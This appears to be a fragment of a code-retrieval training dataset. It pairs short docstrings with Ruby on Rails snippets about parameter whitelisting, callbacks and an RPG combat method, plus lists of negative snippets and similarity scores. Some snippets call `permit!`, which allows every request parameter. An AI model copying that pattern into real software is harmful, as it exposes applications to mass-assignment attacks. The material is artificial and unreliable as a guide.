"def refine_permitted_params(param_list)\n res = param_list.dup\n\n ms_keys = res.select { |a| columns_hash[a.to_s]&.array }\n ms_keys.each do |k|\n res.delete(k)\n res << { k => [] }\n end\n\n res\n end",
"def recipient_list_params\n params.require(:recipient_list).permit(:name, :description, recipient_id_array: [])\n end",
"def safelist; end",
"def sponsor_params\n params.require(:sponsor).permit(WHITE_LIST)\n end",
"def valid_for_params_auth?; end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def shopping_list_params\n params.require(:shopping_list).permit!\n end",
"def permitted_params\n declared(params, include_missing: false)\n end",
"def permitted_params\n declared(params, include_missing: false)\n end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def permitters\n @_parametrizr_permitters || {}\n end",
"def allow_params(action, keys: nil, except: nil, &blk)\n keys &&= Array.wrap(keys)\n keys ||= User.field_names\n except &&= Array.wrap(except)\n except ||= %i[id email]\n devise_parameter_sanitizer.permit(action, keys: keys, except: except, &blk)\n end",
"def list_params\n if current_user && current_user.role == 'admin'\n params.require(:list).permit(:name, :url, :description, :user_id,\n ideas_attributes: [:id, :list_id, :body, :due_date, :completion_status, :_destroy])\n else\n params.require(:list).permit(:name, :description,\n ideas_attributes: [:body, :due_date, :completion_status]) \n end\n end",
"def whitelist(params)\n send_request_of_type(GlobalConstant::PrivateOpsApi.private_ops_api_type, 'post', '/token-sale/whitelist', params)\n end",
"def valid_access_params\n params.require(:valid_access).permit(:wish_list_id, :user_id)\n end",
"def url_allowlist; end",
"def ensure_redirected_params_are_safe!(passed_params)\n unless passed_params.is_a?(ActionController::Parameters) && passed_params.permitted?\n error_message = if passed_params.is_a?(ActionController::Parameters)\n unsafe_parameters = passed_params.send(:unpermitted_keys, params)\n \"[Rails::Prg] Error - Must use permitted strong parameters. Unsafe: #{unsafe_parameters.join(', ')}\"\n else\n \"[Rails::Prg] Error - Must pass strong parameters.\"\n end\n raise error_message\n end\n end",
"def data_collection_params\n allow = [:name,:description,:institution,:collection_name,:country_id,:province_id,:city_id]\n params.require(:data_collection).permit(allow)\n end",
"def quote_params\n params.permit!\n end"
] |
[
"0.69497335",
"0.6812623",
"0.6803639",
"0.6795365",
"0.67448795",
"0.67399913",
"0.6526815",
"0.6518771",
"0.64931697",
"0.6430388",
"0.6430388",
"0.6430388",
"0.63983387",
"0.6356042",
"0.63535863",
"0.63464934",
"0.63444513",
"0.6337208",
"0.6326454",
"0.6326454",
"0.6326454",
"0.63140553",
"0.6299814",
"0.62642586",
"0.626006",
"0.62578833",
"0.6236823",
"0.6227561",
"0.6221758",
"0.62200165",
"0.620879",
"0.61983657",
"0.6195055",
"0.6172993",
"0.6156856",
"0.61558664",
"0.61521494",
"0.6135789",
"0.6121145",
"0.61118174",
"0.60736513",
"0.6071645",
"0.60632104",
"0.60549796",
"0.6043906",
"0.6034662",
"0.60207325",
"0.6018568",
"0.6016575",
"0.60103434",
"0.60084206",
"0.600763",
"0.6007443",
"0.6003619",
"0.6003619",
"0.5995791",
"0.5993301",
"0.5993231",
"0.5984926",
"0.597122",
"0.5968121",
"0.5965808",
"0.59640145",
"0.59632224",
"0.59602356",
"0.59332967",
"0.5927556",
"0.5922805",
"0.5909745",
"0.5905083",
"0.5904304",
"0.5893434",
"0.58888215",
"0.58823985",
"0.58823985",
"0.58823985",
"0.5873434",
"0.58619875",
"0.58533794",
"0.5845531",
"0.58426666",
"0.58360124",
"0.583218",
"0.5828041",
"0.5827927",
"0.5816121",
"0.5814705",
"0.5812719",
"0.581121",
"0.5803423",
"0.5803423",
"0.57995003",
"0.5794207",
"0.5784923",
"0.5781365",
"0.5776385",
"0.5774859",
"0.57671493",
"0.5766998",
"0.57618684",
"0.5758038"
] |
0.0
|
-1
|
Use callbacks to share common setup or constraints between actions.
|
def set_post
@post = Post.find(params[:post_id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] |
[
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] |
0.0
|
-1
|
Only allow a trusted parameter "white list" through.
|
def comment_params
params.require(:comment).permit(:body)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def allowed_params\n ALLOWED_PARAMS\n end",
"def expected_permitted_parameter_names; end",
"def param_whitelist\n [:role, :title]\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def permitted_params\n []\n end",
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def filtered_parameters; end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def parameters_list_params\n params.require(:parameters_list).permit(:name, :description, :is_user_specific)\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def valid_params?; end",
"def permitted_params\n declared(params, include_missing: false)\n end",
"def permitted_params\n declared(params, include_missing: false)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def filter_parameters; end",
"def filter_parameters; end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def check_params; true; end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def list_params\n params.permit(:name)\n end",
"def check_params\n true\n end",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def additional_permitted_params\n []\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def resource_params\n params[resource_singular_name].try(:permit, self.class.param_whitelist)\n end",
"def allow_params_authentication!; end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def param_params\n params.require(:param).permit(:param_category_id, :param_table_id, :name, :english_name, :weighting, :description)\n end",
"def quote_params\n params.permit!\n end",
"def list_params\n params.permit(:list_name)\n end",
"def allowed_params(parameters)\n parameters.select do |name, values|\n values.location != \"path\"\n end\n end",
"def all_params; end",
"def permitted_resource_params\n params[resource.object_name].present? ? params.require(resource.object_name).permit! : ActionController::Parameters.new\n end",
"def source_params\n params.require(:source).permit(all_allowed_params)\n end",
"def user_params\n end",
"def get_allowed_parameters\n return _get_specific_action_config(:allowed_action_parameters, :allowed_parameters)&.map(&:to_s)\n end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def permitted_params\n @wfd_edit_parameters\n end",
"def user_params\r\n end",
"def param_whitelist\n whitelist = [\n :comment,\n :old_progress, :new_progress,\n :metric_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:metric_id)\n end\n \n whitelist\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def get_params\n\t\t\n\t\treturn ActionController::Parameters.new(self.attributes).permit(:first_name, :last_name, :email, :provider)\n\n\tend",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def valid_parameters\n sort_symbols(@interface.allowed_parameters)\n end",
"def params_permit\n params.permit(:id)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def filter_params\n params.permit(*resource_filter_permitted_params)\n end",
"def specialty_params\n\t\tparams.require(:specialty).permit(*Specialty::DEFAULT_ACCESSIBLE_ATTRIBUTES)\n\tend",
"def community_params\n params.permit(:profile_image, :name, :description, :privacy_type, :viewed_by, {tags: []}, {features: []}, {admins: []}, :members, :location, :beacon, :creator, :ambassadors, :current_events, :past_events, :feed, :category, :address, :allow_member_post_to_feed, :allow_member_post_to_events)\n end",
"def authorize_params\n super.tap do |params|\n %w[display scope auth_type].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end",
"def feature_params_filter\n params.require(:feature).permit(:name, :cat, :lower, :upper, :opts, :category, :description, :company, :active, :unit, :icon)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def argument_params\n params.require(:argument).permit(:name)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def property_params\n params.permit(:name, :is_available, :is_approved, :owner_id)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def whitelist_person_params\n params.require(:person).permit(:family, :pre_title, :given_name, :dates, :post_title, :epithet, :dates_of_office, same_as: [], related_authority: [], altlabel: [], note: []) # Note - arrays need to go at the end or an error occurs!\n end",
"def sponsor_params\n params.require(:sponsor).permit(WHITE_LIST)\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def parameters\n nil\n end",
"def sequence_param_whitelist\n default_param_whitelist << \"show_index\"\n end",
"def resource_filter_permitted_params\n raise(NotImplementedError, 'resource_filter_permitted_params method not implemented')\n end",
"def normal_params\n reject{|param, val| param_definitions[param][:internal] }\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def special_device_list_params\n params.require(:special_device_list).permit(:name)\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end"
] |
[
"0.7122899",
"0.7054107",
"0.69478",
"0.6902101",
"0.67359334",
"0.67178756",
"0.66889167",
"0.6677724",
"0.6661157",
"0.6555896",
"0.6527207",
"0.64584696",
"0.64517015",
"0.6450208",
"0.644749",
"0.6435074",
"0.6413329",
"0.6413329",
"0.6391818",
"0.6380081",
"0.6380081",
"0.6375536",
"0.6360849",
"0.635511",
"0.6285548",
"0.62798816",
"0.62468714",
"0.6227613",
"0.6224945",
"0.6224163",
"0.62108225",
"0.62080175",
"0.6177938",
"0.6171946",
"0.6168783",
"0.615999",
"0.614475",
"0.6136407",
"0.61226404",
"0.61090046",
"0.60992956",
"0.6075657",
"0.60532176",
"0.6040335",
"0.6035594",
"0.60304934",
"0.60196596",
"0.6018118",
"0.6018028",
"0.6018028",
"0.6018028",
"0.6018028",
"0.6018028",
"0.6018028",
"0.6018028",
"0.6018028",
"0.6018028",
"0.6018028",
"0.6018028",
"0.6018028",
"0.6018028",
"0.6018028",
"0.6018028",
"0.6018028",
"0.6018028",
"0.60165983",
"0.6005772",
"0.6004614",
"0.60022306",
"0.59969896",
"0.59954774",
"0.59947675",
"0.59847546",
"0.5984462",
"0.597783",
"0.5975277",
"0.59699774",
"0.59675187",
"0.5966527",
"0.5966527",
"0.5957506",
"0.59521663",
"0.59506977",
"0.59479433",
"0.5944202",
"0.59313655",
"0.5930722",
"0.592726",
"0.5924843",
"0.5918731",
"0.59178615",
"0.5914195",
"0.59137934",
"0.5908005",
"0.59058493",
"0.5904342",
"0.59020513",
"0.59004885",
"0.58971745",
"0.5896885",
"0.58949924"
] |
0.0
|
-1
|
Method that calculates an attack against us by another set of attributes Returns true if we die, false otherwise
|
def attacked(attacker)
attack = rand(2+attacker.agility)-rand(@agility)
if attack>0
@health -= rand(attacker.strength)
@game.message(self.name + " suffers " + attack.to_s + " damage!")
end
if self.health <= 0
return true
else
return false
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def battle(attacker, defender)\n if accuracy_check(attacker.accuracy) \n defender.hull - attacker.firepower\n else\n return false\n end\nend",
"def under_attack \n return true if warrior.health < @health\n return false\n end",
"def attack_effect(attacker)\n # Clear critical flag\n self.critical = false\n # First hit detection\n hit_result = (rand(100) < attacker.hit)\n # If hit occurs\n if hit_result == true\n # Calculate basic damage\n atk = [attacker.atk - self.pdef / 2, 0].max\n self.damage = atk * (20 + attacker.str) / 20\n # Element correction\n self.damage *= elements_correct(attacker.element_set)\n self.damage /= 100\n # If damage value is strictly positive\n if self.damage > 0\n # Critical correction\n if rand(100) < 4 * attacker.dex / self.agi\n self.damage *= 2\n self.critical = true\n end\n # Guard correction\n if self.guarding?\n self.damage /= 2\n end\n end\n # Dispersion\n if self.damage.abs > 0\n amp = [self.damage.abs * 15 / 100, 1].max\n self.damage += rand(amp+1) + rand(amp+1) - amp\n end\n # Second hit detection\n eva = 8 * self.agi / attacker.dex + self.eva\n hit = self.damage < 0 ? 100 : 100 - eva\n hit = self.cant_evade? ? 100 : hit\n hit_result = (rand(100) < hit)\n end\n # If hit occurs\n if hit_result == true\n # State Removed by Shock\n remove_states_shock\n # Substract damage from HP\n self.hp -= self.damage\n # State change\n @state_changed = false\n states_plus(attacker.plus_state_set)\n states_minus(attacker.minus_state_set)\n # When missing\n else\n # Set damage to \"Miss\"\n self.damage = \"Miss\"\n # Clear critical flag\n self.critical = false\n end\n # End Method\n return true\n end",
"def applyAttack(x)\n if (applyHealing(x) == !@value && applySupport(x) == !@value &&\n applyGrowth(x) == !@value)\n return true\n else\n return false\n end\n end",
"def flee(monster)\n if dice_roll < @agility\n puts \"----- Nice! -----\".top_border\n puts \"You've made a deft escape.\".bottom_border\n return true \n else\n puts \"Oh no! Your escape was blocked.\"\n monster.attack(self)\n return false\n end \n end",
"def attack\n return false if @enemies < 1 or # There are no enemies to attack \n @enemies_direction == [] or # Dont know where the enemy is\n (@captives > 0 and bomb_has_direct_path) or # Can walk to the bomb wihout fighting\n (@captives > 0 and check_captive_behind_enemy) or # Needs to elude an enemy to deactivate the bomb\n (@captives > 0 and bomb_is_on_a_side) or # The captive with the bomb is on a side\n !enemies_close #or # There are no enemies to fight with\n #!get_best_enemy_direction_to_attack\n if (@captives > 0 and check_for_a_bomb and warrior.feel(get_bomb_direction).enemy?) or\n (@captives > 0 and warrior.feel(@captives_direction[0]).captive? and !warrior.feel(@captives_direction[0]).enemy? and @enemies_binded > 2) or\n (@captives == 0 and enemies_close) or\n (@captives > 0 and enemies_close and !check_for_a_bomb)\n puts \"Attacking an enemy to the #{@enemies_direction[0]}\"\n if warrior.feel(@enemies_direction[0]).captive? and @enemies_direction[1] != nil and @enemies_binded < 3\n return warrior.attack! @enemies_direction[1]\n else\n return warrior.attack! @enemies_direction[0]\n end \n end\n return 